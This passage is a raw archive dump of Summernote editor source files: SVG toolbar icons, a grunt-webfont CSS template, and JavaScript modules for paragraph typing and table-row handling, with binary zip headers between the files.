   <path id="path3400-4-4-5-65" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/>
   <path id="polygon3366-49-8-3-1" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/>
  </g>
 </g>
</svg>
PK�{�\.ȏ�JJicons/align-right.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M93.209,136.000 L93.209,287.842 L1007.000,287.842 L1007.000,136.000 L93.209,136.000 ZM245.234,588.421 L1007.000,588.421 L1007.000,438.180 L245.234,438.180 L245.234,588.421 ZM18.001,889.000 L1007.000,889.000 L1007.000,738.711 L18.001,738.711 L18.001,889.000 Z" class="cls-1"/>
</svg>
PK�{�\!�icons/superscript.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1224.352,265.601 L1122.923,265.601 C1168.606,227.355 1218.535,181.521 1218.535,121.817 C1218.535,62.634 1176.234,24.388 1110.769,24.388 C1075.107,24.388 1039.232,34.898 1009.019,58.298 L1032.528,117.612 C1052.060,103.187 1072.238,90.538 1097.337,90.538 C1124.347,90.538 1139.223,103.722 1139.223,127.594 C1138.704,167.588 1091.468,206.535 1006.603,283.581 L1006.603,333.098 L1224.352,333.098 L1224.352,265.601 ZM888.208,880.169 L888.208,976.165 L636.887,976.165 L446.450,678.379 L256.003,976.165 L4.691,976.165 L4.691,880.169 L59.527,880.169 C92.722,880.169 123.464,863.980 140.462,837.540 L336.646,532.418 L147.213,255.492 C129.927,230.222 99.907,214.911 67.646,214.911 L16.340,214.911 L16.340,118.919 L250.445,118.919 L446.450,403.552 L642.454,118.919 L876.550,118.919 L876.550,214.911 L825.253,214.911 C792.987,214.911 762.963,230.222 745.686,255.492 L556.253,532.422 L752.432,837.544 C769.426,863.980 800.172,880.173 833.363,880.173 L888.208,880.173 L888.208,880.169 Z" class="cls-1"/>
</svg>
PK�{�\��VVicons/templates/summernote.jsonnu�[���{
	"baseClass": "",
	"classPrefix": "note-icon-",
	"mixinPrefix": "note-icon-"
}
PK�{�\�I�~�
�
icons/templates/summernote.cssnu�[���/* Generated by grunt-webfont */
/* Based on https://github.com/endtwist/fontcustom/blob/master/lib/fontcustom/templates/fontcustom.css */

<% if (fontfaceStyles) { %>
<% if (fontSrc1 && embed.length) { %>
@font-face {
  font-family:"<%= fontBaseName %>";
  src:<%= fontSrc1 %>;
  font-weight:normal;
  font-style:normal;
}
<% } %>@font-face {
  font-family:"<%= fontBaseName %>";<% if (fontSrc1) { %>
src:<%= fontSrc1 %>;<% }%>
src:<%= fontSrc2 %>;
font-weight:normal;
font-style:normal;
}
<% } %>
<% if (baseStyles) { %>
/* Bootstrap Overrides */
[class^="<%= classPrefix %>"]:before,
[class*=" <%= classPrefix %>"]:before<% if (ie7) {%>,
[class^="<%= classPrefix %>"],
[class*=" <%= classPrefix %>"]<% } %><% if (addLigatures) { %>,
.ligature-icons<% } %> {
  display:inline-block;
  vertical-align:middle;
  font: normal normal normal 14px <%= fontBaseName %>;
  font-size: inherit;
  speak:none;
  text-decoration:inherit;
  text-transform:none;
  text-rendering:auto;
  -webkit-font-smoothing:antialiased;
  -moz-osx-font-smoothing:grayscale;
}<% } %>
<% if (iconsStyles && stylesheet === 'less') { %>
/* Mixins */
<% for (var glyphIdx = 0; glyphIdx < glyphs.length; glyphIdx++) { %>
.<%= classPrefix %><%= glyphs[glyphIdx] %><% if(glyphIdx === glyphs.length-1) { %> { <% } else { %>, <% } } %>
&:before {
   font-family:"<%= fontBaseName %>";
   display:inline-block;
   font-weight:normal;
   font-style:normal;
   text-decoration:inherit;
 }
}<% } %>
<% if (extraStyles) { %>
a [class^="<%= classPrefix %>"],
a [class*=" <%= classPrefix %>"] {
  display:inline-block;
  text-decoration:inherit;
}
/* Makes the font 33% larger relative to the icon container */
.<%= classPrefix %>large:before {
 vertical-align:top;
 font-size:1.333em;
}
/* Keeps button heights with and without icons the same */
.btn [class^="<%= classPrefix %>"],
.btn [class*=" <%= classPrefix %>"] {
  line-height:0.9em;
}
li [class^="<%= classPrefix %>"],
li [class*=" <%= classPrefix %>"] {
  display:inline-block;
  width:1.25em;
  text-align:center;
}
/* 1.5 increased font size for <%= classPrefix %>large * 1.25 width */
li .<%= classPrefix %>large[class^="<%= classPrefix %>"],
li .<%= classPrefix %>large[class*=" <%= classPrefix %>"] {
  width:1.875em;
}
li[class^="<%= classPrefix %>"],
li[class*=" <%= classPrefix %>"] {
  margin-left:0;
  list-style-type:none;
}
li[class^="<%= classPrefix %>"]:before,
li[class*=" <%= classPrefix %>"]:before {
  text-indent:-2em;
  text-align:center;
}
li[class^="<%= classPrefix %>"].<%= classPrefix %>large:before,
li[class*=" <%= classPrefix %>"].<%= classPrefix %>large:before {
  text-indent:-1.333em;
}
<% } %>

<% if (iconsStyles) { %>/* Icons */<% for (var glyphIdx = 0; glyphIdx < glyphs.length; glyphIdx++) { %>
<% if (stylesheet === 'less') { %>
.<%= classPrefix %><%= glyphs[glyphIdx] %> {
&:before {
   content:"<% if (addLigatures) { %><%= glyphs[glyphIdx] %><% } else { %>\<%= codepoints[glyphIdx] %><% } %>";
 }
<% if (ie7) {%>
*zoom: expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '&#x<%= codepoints[glyphIdx] %>;');
  <% } %>
}<% } else { %>
<% if (ie7) {%>.<%= classPrefix %><%= glyphs[glyphIdx] %> {
  *zoom: expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '&#x<%= codepoints[glyphIdx] %>;');
}
<% } %>
.<%= classPrefix %><%= glyphs[glyphIdx] %>:before {
  content:"<% if (addLigatures) { %><%= glyphs[glyphIdx] %><% } else { %>\<%= codepoints[glyphIdx] %><% } %>";
}<% } %>
<% } } %>
PK�{�\9�i��icons/caret.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M122.674,347.863c23.249,0,401.35,0,416.049,0c23.247,0,29.402,23.246,23.247,37.945
	c-8.547,14.704-190.075,256.057-204.776,279.303c-8.545,14.701-37.948,14.701-46.494,0C296,641.865,114.127,409.057,105.924,385.808
	C93.274,368.714,101.821,347.863,122.674,347.863z"/>
</svg>
PK�{�\
��VVicons/orderedlist.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M83.072,779.246c31.653-22.206,76.371-43.774,76.371-87.973c0-34.427-22.838-55.464-54.488-55.464
	c-43.655,0-57.678,44.624-57.678,82.661h-70.74c-2.552-82.131,44.609-145.454,131.813-145.454c66.493,0,124.7,42.183,124.7,112.624
	c0,109.011-116.733,117.828-169.523,191.672h171.647V940H-31.75C-31.75,856.275,20.191,821.854,83.072,779.246z M87.426,192.544
	H-3.921v-55.037c51.303,1.488,98.146-16.468,106.43-71.504h58.738v359.862H87.426V192.544z M1050.921,90.351H289.056v170.108
	h761.865V90.351L1050.921,90.351z M289.781,428.395v168.558h761.97V428.395H289.781z M289.056,933.649h761.865V765.3H289.056
	V933.649z"/>
</svg>
PK�{�\�;R0��icons/underline.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M908.526,146.582 C888.706,156.816 875.010,171.009 867.419,189.175 C859.828,207.341 856.035,232.713 856.035,265.284 L856.035,549.047 C856.035,610.022 852.133,659.822 844.334,698.446 C836.531,737.077 818.089,774.240 788.998,809.946 C759.903,845.651 719.429,874.367 667.570,896.077 C615.711,917.783 558.158,928.648 494.914,928.648 C428.718,928.648 369.376,917.893 316.885,896.388 C264.394,874.886 224.231,847.742 196.405,814.955 C168.579,782.175 149.702,746.473 139.800,707.842 C129.892,669.218 124.938,623.384 124.938,570.343 L124.938,235.218 C124.938,195.125 117.984,167.780 104.071,153.158 C90.153,138.544 59.799,131.235 12.997,131.235 L12.997,61.702 L465.824,61.702 L465.824,131.235 L451.278,131.235 C408.686,131.235 381.077,138.965 368.428,154.410 C355.779,169.867 349.453,196.799 349.453,235.218 L349.453,570.343 C349.453,631.319 354.515,679.338 364.635,714.418 C374.750,749.498 396.886,779.359 431.039,803.995 C465.192,828.639 506.081,840.953 553.732,840.953 C605.591,840.953 649.958,827.796 686.861,801.487 C723.745,775.177 747.670,743.134 758.639,705.333 C769.599,667.544 775.085,614.819 775.085,547.168 L775.085,261.527 C775.085,174.671 732.709,131.235 647.962,131.235 L647.962,61.702 L965.447,61.702 L965.447,131.235 C947.312,131.235 928.341,136.351 908.526,146.582 ZM932.995,1046.691 L70.468,1046.691 L70.468,975.619 L932.995,975.619 L932.995,1046.691 Z" class="cls-1"/>
</svg>
PK�{�\<\�$$icons/frame.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="Rounded_Rectangle_8" data-name="Rounded Rectangle 8" class="cls-1" d="M33.324,124.705H984.236a64,64,0,0,1,64,64V843.319a64,64,0,0,1-64,64H33.324a64,64,0,0,1-64-64V188.705A64,64,0,0,1,33.324,124.705Zm137.33,70.961H840.366c74.689,0,137.484-11.46,137.484,62.519V751.656c0,73.975-62.8,87.175-137.484,87.175H170.654c-74.688,0-130.737-13.2-130.737-87.175V258.185C39.917,184.206,95.966,195.666,170.654,195.666ZM-110.419-17.645H1129.55a64,64,0,0,1,64,64V985.6a64,64,0,0,1-64,64H-110.419a64,64,0,0,1-64-64V46.355A64,64,0,0,1-110.419-17.645ZM93.432,52.331h833.1c98.331,0,193.791-6.99,193.791,90.4V803.587c0,157.53-39.24,176.35-193.791,176.35H93.432c-150.047,0-196.033-27.731-196.033-176.35V142.735C-102.6,45.341-4.9,52.331,93.432,52.331Zm1049.3-27.716a35.4,35.4,0,0,1,0,50.4l-112.18,111.1a36.214,36.214,0,0,1-50.874,0,35.385,35.385,0,0,1,0-50.394l112.164-111.1A36.234,36.234,0,0,1,1142.73,24.616ZM40.88,190.263a35.4,35.4,0,0,0,0-50.4L-71.288,28.766a36.224,36.224,0,0,0-50.882,0,35.4,35.4,0,0,0,0,50.4L-10,190.263A36.226,36.226,0,0,0,40.88,190.263ZM1142.73,1007.65a35.4,35.4,0,0,0,0-50.4l-112.18-111.1a36.214,36.214,0,0,0-50.874,0,35.39,35.39,0,0,0,0,50.4l112.164,111.1A36.228,36.228,0,0,0,1142.73,1007.65ZM40.88,842.005a35.4,35.4,0,0,1,0,50.4L-71.288,1003.5a36.218,36.218,0,0,1-50.882,0,35.392,35.392,0,0,1,0-50.392L-10,842.005A36.226,36.226,0,0,1,40.88,842.005Z"/>
</svg>
PK�{�\�|__icons/row-remove.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9496mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" viewBox="0 0 14 13.99474" xmlns:dc="http://purl.org/dc/elements/1.1/">
 <metadata id="metadata3451">
  <rdf:RDF>
   <cc:Work rdf:about="">
    <dc:format>image/svg+xml</dc:format>
    <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
    <dc:title/>
   </cc:Work>
  </rdf:RDF>
 </metadata>
 <g id="layer1" transform="translate(764.76 127.54)">
  <g id="g3692-9" transform="translate(-3524.7 -309.95)">
   <path id="path5085-1-5" d="m2764.7 190q-0.2558 0-0.4348-0.17906l-0.8698-0.86975q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l1.8802-1.8802-1.8802-1.8802q-0.1791-0.17906-0.1791-0.43487t0.1791-0.43487l0.8698-0.86975q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l1.8802 1.8802 1.8802-1.8802q0.179-0.17906 0.4348-0.17906t0.4349 0.17906l0.8698 0.86975q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-1.8802 1.8802 1.8802 1.8802q0.179 0.17906 0.179 0.43487t-0.179 0.43487l-0.8698 0.86975q-0.1791 0.17906-0.4349 0.17906t-0.4348-0.17906l-1.8802-1.8802-1.8802 1.8802q-0.1791 0.17906-0.4349 0.17906z"/>
   <path id="polygon3366-49-8-3-4" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/>
  </g>
 </g>
</svg>
PK�{�\6�GGicons/unorderedlist.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M1032.671,90.351H270.806v170.108h761.865V90.351L1032.671,90.351z M271.531,428.395v168.558h761.97V428.395H271.531z
	 M270.806,933.649h761.865V765.3H270.806V933.649z M160.712,90.351H-9.5v170.108h170.212V90.351L160.712,90.351z M-8.982,596.951
	h170.314V428.395H-8.982V596.951z M-9.397,933.649h170.212V765.3H-9.397V933.649L-9.397,933.649z"/>
</svg>
PK�{�\;:��icons/align.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M63.979,588.966V445.989h606.016v142.977H63.979z M64.008,160.015h770.99v143.971H64.008V160.015z M925.011,873.015H64.008
	V729.98h861.003V873.015z"/>
</svg>
PK�{�\"z^=`
`
js/base/editing/Typing.jsnu�[���import $ from 'jquery';
import dom from '../core/dom';
import range from '../core/range';
import Bullet from '../editing/Bullet';

/**
 * @class editing.Typing
 *
 * Typing
 *
 */
export default class Typing {
  constructor() {
    // a Bullet instance to toggle lists off
    this.bullet = new Bullet();
  }

  /**
   * insert tab
   *
   * @param {WrappedRange} rng
   * @param {Number} tabsize
   */
  insertTab(rng, tabsize) {
    const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));
    rng = rng.deleteContents();
    rng.insertNode(tab, true);

    rng = range.create(tab, tabsize);
    rng.select();
  }

  /**
   * insert paragraph
   */
  insertParagraph(editable) {
    let rng = range.create(editable);

    // deleteContents on range.
    rng = rng.deleteContents();

    // Wrap range if it needs to be wrapped by paragraph
    rng = rng.wrapBodyInlineWithPara();

    // finding paragraph
    const splitRoot = dom.ancestor(rng.sc, dom.isPara);

    let nextPara;
    // on paragraph: split paragraph
    if (splitRoot) {
      // if it is an empty line with li
      if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {
        // toogle UL/OL and escape
        this.bullet.toggleList(splitRoot.parentNode.nodeName);
        return;
      // if it is an empty line with para on blockquote
      } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {
        // escape blockquote
        dom.insertAfter(splitRoot, splitRoot.parentNode);
        nextPara = splitRoot;
      // if new line has content (not a line break)
      } else {
        nextPara = dom.splitTree(splitRoot, rng.getStartPoint());

        let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);
        emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));

        $.each(emptyAnchors, (idx, anchor) => {
          dom.remove(anchor);
        });

        // replace empty heading, pre or custom-made styleTag with P tag
        if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {
          nextPara = dom.replace(nextPara, 'p');
        }
      }
    // no paragraph: insert empty paragraph
    } else {
      const next = rng.sc.childNodes[rng.so];
      nextPara = $(dom.emptyPara)[0];
      if (next) {
        rng.sc.insertBefore(nextPara, next);
      } else {
        rng.sc.appendChild(nextPara);
      }
    }

    range.create(nextPara, 0).normalize().select().scrollIntoView(editable);
  }
}
PK�{�\�
xPLPLjs/base/editing/Table.jsnu�[���import $ from 'jquery';
import dom from '../core/dom';
import range from '../core/range';
import lists from '../core/lists';

/**
 * @class Create a virtual table to create what actions to do in change.
 * @param {object} startPoint Cell selected to apply change.
 * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where
 * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction
 * @param {object} domTable Dom element of table to make changes.
 */
const TableResultAction = function(startPoint, where, action, domTable) {
  const _startPoint = { 'colPos': 0, 'rowPos': 0 };
  const _virtualTable = [];
  const _actionCellList = [];

  /// ///////////////////////////////////////////
  // Private functions
  /// ///////////////////////////////////////////

  /**
   * Set the startPoint of action.
   */
  function setStartPoint() {
    if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {
      console.error('Impossible to identify start Cell point.', startPoint);
      return;
    }
    _startPoint.colPos = startPoint.cellIndex;
    if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {
      console.error('Impossible to identify start Row point.', startPoint);
      return;
    }
    _startPoint.rowPos = startPoint.parentElement.rowIndex;
  }

  /**
   * Define virtual table position info object.
   *
   * @param {int} rowIndex Index position in line of virtual table.
   * @param {int} cellIndex Index position in column of virtual table.
   * @param {object} baseRow Row affected by this position.
   * @param {object} baseCell Cell affected by this position.
   * @param {bool} isSpan Inform if it is an span cell/row.
   */
  function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {
    const objPosition = {
      'baseRow': baseRow,
      'baseCell': baseCell,
      'isRowSpan': isRowSpan,
      'isColSpan': isColSpan,
      'isVirtual': isVirtualCell
    };
    if (!_virtualTable[rowIndex]) {
      _virtualTable[rowIndex] = [];
    }
    _virtualTable[rowIndex][cellIndex] = objPosition;
  }

  /**
   * Create action cell object.
   *
   * @param {object} virtualTableCellObj Object of specific position on virtual table.
   * @param {enum} resultAction Action to be applied in that item.
   */
  function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {
    return {
      'baseCell': virtualTableCellObj.baseCell,
      'action': resultAction,
      'virtualTable': {
        'rowIndex': virtualRowPosition,
        'cellIndex': virtualColPosition
      }
    };
  }

  /**
   * Recover free index of row to append Cell.
   *
   * @param {int} rowIndex Index of row to find free space.
   * @param {int} cellIndex Index of cell to find free space in table.
   */
  function recoverCellIndex(rowIndex, cellIndex) {
    if (!_virtualTable[rowIndex]) {
      return cellIndex;
    }
    if (!_virtualTable[rowIndex][cellIndex]) {
      return cellIndex;
    }

    let newCellIndex = cellIndex;
    while (_virtualTable[rowIndex][newCellIndex]) {
      newCellIndex++;
      if (!_virtualTable[rowIndex][newCellIndex]) {
        return newCellIndex;
      }
    }
  }

  /**
   * Recover info about row and cell and add information to virtual table.
   *
   * @param {object} row Row to recover information.
   * @param {object} cell Cell to recover information.
   */
  function addCellInfoToVirtual(row, cell) {
    const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);
    const cellHasColspan = (cell.colSpan > 1);
    const cellHasRowspan = (cell.rowSpan > 1);
    const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);
    setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);

    // Add span rows to virtual Table.
    const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;
    if (rowspanNumber > 1) {
      for (let rp = 1; rp < rowspanNumber; rp++) {
        const rowspanIndex = row.rowIndex + rp;
        adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);
        setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);
      }
    }

    // Add span cols to virtual table.
    const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;
    if (colspanNumber > 1) {
      for (let cp = 1; cp < colspanNumber; cp++) {
        const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));
        adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);
        setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);
      }
    }
  }

  /**
   * Process validation and adjust of start point if needed
   *
   * @param {int} rowIndex
   * @param {int} cellIndex
   * @param {object} cell
   * @param {bool} isSelectedCell
   */
  function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {
    if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {
      _startPoint.colPos++;
    }
  }

  /**
   * Create virtual table of cells with all cells, including span cells.
   */
  function createVirtualTable() {
    const rows = domTable.rows;
    for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {
      const cells = rows[rowIndex].cells;
      for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {
        addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);
      }
    }
  }

  /**
   * Get action to be applied on the cell.
   *
   * @param {object} cell virtual table cell to apply action
   */
  function getDeleteResultActionToCell(cell) {
    switch (where) {
      case TableResultAction.where.Column:
        if (cell.isColSpan) {
          return TableResultAction.resultAction.SubtractSpanCount;
        }
        break;
      case TableResultAction.where.Row:
        if (!cell.isVirtual && cell.isRowSpan) {
          return TableResultAction.resultAction.AddCell;
        } else if (cell.isRowSpan) {
          return TableResultAction.resultAction.SubtractSpanCount;
        }
        break;
    }
    return TableResultAction.resultAction.RemoveCell;
  }

  /**
   * Get action to be applied on the cell.
   *
   * @param {object} cell virtual table cell to apply action
   */
  function getAddResultActionToCell(cell) {
    switch (where) {
      case TableResultAction.where.Column:
        if (cell.isColSpan) {
          return TableResultAction.resultAction.SumSpanCount;
        } else if (cell.isRowSpan && cell.isVirtual) {
          return TableResultAction.resultAction.Ignore;
        }
        break;
      case TableResultAction.where.Row:
        if (cell.isRowSpan) {
          return TableResultAction.resultAction.SumSpanCount;
        } else if (cell.isColSpan && cell.isVirtual) {
          return TableResultAction.resultAction.Ignore;
        }
        break;
    }
    return TableResultAction.resultAction.AddCell;
  }

  function init() {
    setStartPoint();
    createVirtualTable();
  }

  /// ///////////////////////////////////////////
  // Public functions
  /// ///////////////////////////////////////////

  /**
   * Recover array os what to do in table.
   */
  this.getActionList = function() {
    const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;
    const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;

    let actualPosition = 0;
    let canContinue = true;
    while (canContinue) {
      const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;
      const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;
      const row = _virtualTable[rowPosition];
      if (!row) {
        canContinue = false;
        return _actionCellList;
      }
      const cell = row[colPosition];
      if (!cell) {
        canContinue = false;
        return _actionCellList;
      }

      // Define action to be applied in this cell
      let resultAction = TableResultAction.resultAction.Ignore;
      switch (action) {
        case TableResultAction.requestAction.Add:
          resultAction = getAddResultActionToCell(cell);
          break;
        case TableResultAction.requestAction.Delete:
          resultAction = getDeleteResultActionToCell(cell);
          break;
      }
      _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));
      actualPosition++;
    }

    return _actionCellList;
  };

  init();
};
/**
*
* Where action occours enum.
*/
TableResultAction.where = { 'Row': 0, 'Column': 1 };
/**
*
* Requested action to apply enum.
*/
TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };
/**
*
* Result action to be executed enum.
*/
TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };

/**
 *
 * @class editing.Table
 *
 * Table
 *
 */
export default class Table {
  /**
   * handle tab key
   *
   * @param {WrappedRange} rng
   * @param {Boolean} isShift
   */
  tab(rng, isShift) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
    const table = dom.ancestor(cell, dom.isTable);
    const cells = dom.listDescendant(table, dom.isCell);

    const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);
    if (nextCell) {
      range.create(nextCell, 0).select();
    }
  }

  /**
   * Add a new row
   *
   * @param {WrappedRange} rng
   * @param {String} position (top/bottom)
   * @return {Node}
   */
  addRow(rng, position) {
    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);

    const currentTr = $(cell).closest('tr');
    const trAttributes = this.recoverAttributes(currentTr);
    const html = $('<tr' + trAttributes + '></tr>');

    const vTable = new TableResultAction(cell, TableResultAction.where.Row,
      TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);
    const actions = vTable.getActionList();

    for (let idCell = 0; idCell < actions.length; idCell++) {
      const currentCell = actions[idCell];
      const tdAttributes = this.recoverAttributes(currentCell.baseCell);
      switch (currentCell.action) {
        case TableResultAction.resultAction.AddCell:
          html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');
          break;
        case TableResultAction.resultAction.SumSpanCount:
          if (position === 'top') {
            const baseCellTr = currentCell.baseCell.parent;
            const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;
            if (isTopFromRowSpan) {
              const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();
              html.append(newTd);
              break;
            }
          }
          let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);
          rowspanNumber++;
          currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);
          break;
      }
    }

    if (position === 'top') {
      currentTr.before(html);
    } else {
      const cellHasRowspan = (cell.rowSpan > 1);
      if (cellHasRowspan) {
        const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);
        $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));
        return;
      }
      currentTr.after(html);
    }
  }

  /**
   * Add a new col
